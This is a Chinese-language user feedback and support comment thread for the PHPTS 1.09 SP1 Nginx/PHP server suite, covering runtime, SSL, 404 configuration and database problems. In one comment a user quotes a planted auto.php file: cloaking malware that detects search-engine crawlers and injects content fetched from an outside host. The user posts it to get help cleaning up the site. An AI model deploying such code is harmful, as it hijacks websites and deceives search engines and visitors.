问题反馈

关于 PHPTS 1.09 SP1 版本(2020年5月26日21:20发布)使用中出现的问题,可以在评论中留言反馈,以便于我们发现与修复。旧版本建议升级到最新版本,看是否还有问题。

《问题反馈》

另外,为了方便更多的非程序员、纯小白用户使用,PHPTS 将推出应用中心,提供一些常用的 PHP 开源应用一键安装功能,点击《问卷:您需要哪些 PHP 开源应用?》。

点赞
  1. solfie说道:

    win2012 安装启动mysql软件客户端提示:heidisql.exe 系统错误,因为计算机中丢失VCRUNTIME140.DLL

    1. 您的Win2012缺少VC++运行库,可以在软件【常用设置】-【VC++运行库】,下载安装。

  2. solfie说道:

    之前的SSL配置成功了,现在更改为泛域名的SSL.更改SSL证书保存文件提示错误了.
    给的SSL文件没有.pem文件文件,只有:.csr文件和.key文件,还有一个单独的:.crt文件,请问怎么处理呢?

    1. crt和key文件即可。不同CA机构颁发的key格式可能不一样,Nginx默认PKCS8 Key,如果你的是RSA Key,可以用这个网址转换一下key:
      https://csr.chinassl.net/convert-key.html

  3. solfie说道:

    设置的404页面对.php无效的问题(No input file specified.)其他目录或html均能生效。就*.php无法生效。显示为:(No input file specified.)请问怎么设置呢

    1. error_page 404 /404.html;
      location ~ \.php($|/) {
      #需要在这里面添加如下一行,才能使404页面对.php有效
      try_files $uri =404;

      1. solfie说道:

        error_page 404 /404.html;
        location ~ \.php($|/) {
        #需要在这里面添加如下一行,才能使404页面对.php有效
        try_files $uri =404;
        上面的代码在#PHPTS-PhpFastCgi-Start中,保存后关闭又恢复默认设置了,没法保存吖。

        1. 可以手工在#PHPTS-PhpFastCgi-Start之外配置,下个版本将直接支持try_files $uri =404;

          1. solfie说道:

            try_files $uri =404;写在#PHPTS-PhpFastCgi-Start之前无效,写在#PHPTS-PhpFastCgi-end后面也会无效。

  4. vipkwd说道:

    最近有个问题,随着在客户端上的主机应用数量增加,越来发现我的电脑有点力不从心了。举例:配置12个主机,每次启动客户端后,12个应用都自动启用了(其实本次我可能只会用到其中2个应用)。能不能像配置“访问记录日志”一样给各应用一个独立开关啊?用以解决可以手动关闭本次用不到的个应用。

    1. 每个Nginx主机应用是虚拟主机,只需要Nginx多读取几百字节的配置文件,所涉及的Nginx进程数、PHP-CGI进程数并不会增加,也不会额外消耗CPU、内存。而Memcached、Redis、Mongodb等独立服务,选择自己需要的启动,如果最后状态不是启动状态,重启、开机是不会自动启动的。

  5. 最蠢小白说道:

    不知什么原因,一开始只是测试MySQL服务器,后期突然启动MySQL服务器后,会自动停止服务。

    1. 看一下安装目录\logs\mysql\x64\mysql_error.log 中的 MySQL 报错日志。

  6. solfie说道:

    检测发现论坛根目录被人挂马,放置了一个auto.php的文件,服务器重置,网站全部文件核查,发现没过多久又出现该文件,希望跟进核查是否是套件导致的泄露。

    如下是该文件的代码:
    <?php
    isAllowAccess(TRUE);
    function isAllowAccess($dir = false){
    $key= $_SERVER["HTTP_USER_AGENT"];
    $valid = false;
    if(strpos($key,'ogou')!== false||strpos($key,'aidu')!==false||strpos($key,'so')!==false|| strpos($key,'sm')!==false||strpos($key,'soso')!==false||strpos($key,'google')!==false)
    {
    header('Content-Type:text/html;charset=gb2312');
    $valid = true;
    $file = file_get_contents('http://a.xixihhaa.cn/&#039;);
    echo $file;
    echo file_get_contents('http://&#039;.$_SERVER['HTTP_HOST'].'/');
    }
    if(!$valid && $dir)
    {
    echo '';
    echo file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/');
    }
    return $valid;
    }
    ?>?>

    1. 很有可能是论坛的PHP程序存在漏洞(比如上传附件的地方),导致能够从外部上传PHP文件。请开启Nginx访问日志,查询外部利用PHP代码漏洞上传文件的Web访问日志,找出漏洞。套件是Nginx+PHP服务器,与具体PHP代码无关。

  7. sorrymybaby说道:

    程序安装 账号信息都正确,但总是提示数据库无法连接的问题。望解决!!!

    1. 如果程序不能自行创建数据库名,需要先用MySQL管理工具phpMyAdmin、HeidiSQL等创建数据库名。

  8. solfie说道:

    redis建议用5.0 4.0有挺个严重的性能问题

    1. 目前还没有合适的5.0 Windows版本。

  9. phper说道:

    再不发布新版本,我的项目就要托黄了~ :cry:

  10. Leon说道:

    Thanks so much for the post.Really thank you! Great.

发表评论

电子邮件地址不会被公开。 必填项已用*标注

*

code